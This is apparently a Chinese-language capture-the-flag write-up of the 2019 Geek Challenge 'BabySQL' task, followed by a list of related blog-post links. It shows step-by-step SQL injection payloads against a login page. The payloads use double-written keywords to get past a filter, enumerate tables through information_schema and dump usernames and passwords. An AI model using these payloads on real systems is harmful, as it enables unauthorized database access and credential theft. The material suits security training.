[极客大挑战 2019]BabySQL1

看到题目,应该是sql注入类型先试试万能密码

万能密码,闭合双引号?username=admin&password=admin' or '1'='1

构造payload

这里的提示是 => 做了严格的过滤 => 关键在绕过

/check.php?username=root%27+oorr+1%3D1%3B%23&password=root

查找column的数量

/check.php?username=admin' order by 3%23&password=1 反馈有error

推测by也是有过滤的用`bbyy代替

root = admin' oorrder bbyy 3# => Login Success

root = admin' oorrder bbyy 4# => Error

说明这个table里面有三列数据

下一步就是找到回显点

root = admin' union select 1,2,3

得到error

root => 9' ununionion selselectect 1,2,3#

得到说明column2 + column3 可以作为回显点

root => 9' ununionion selselectect 1,database(),version()#

下一步:利用information_schema.tables爆破有哪些table

root => 9' ununionion selselectect 999,999,group_concat(table_name) from information_schema.tables where table_schema=geek# => Error

root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()

猜测flag用到base64

再根据这个三个字段爆破数据

root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

复制代码
/check.php?username=9%27+ununionion+selselectect+999%2C999%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3D'geek'%23&password=1
相关推荐
Elastic 中国社区官方博客2 分钟前
Elasticsearch 索引副本数
大数据·数据库·elasticsearch·搜索引擎·全文检索
冬瓜的编程笔记25 分钟前
【八股战神篇】MySQL高频面试题
数据库·mysql·面试
赵渝强老师42 分钟前
【赵渝强老师】Memcached的路由算法
数据库·redis·nosql·memcached
belldeep1 小时前
groovy 如何遍历 postgresql 所有的用户表 ?
数据库·postgresql
2401_896008191 小时前
PostgreSQL
数据库·postgresql
搞不懂语言的程序员1 小时前
Redis Sentinel如何实现高可用?
数据库·redis·sentinel
wangzhongyudie1 小时前
SQL实战:06交叉日期打折问题求解
数据库·sql
2401_841003982 小时前
mysql高可用
数据库·mysql
2302_809798322 小时前
【JavaWeb】MySQL(准备篇)
数据库·mysql·datagrip
阿四啊3 小时前
【Redis实战篇】秒杀优化
数据库·redis·缓存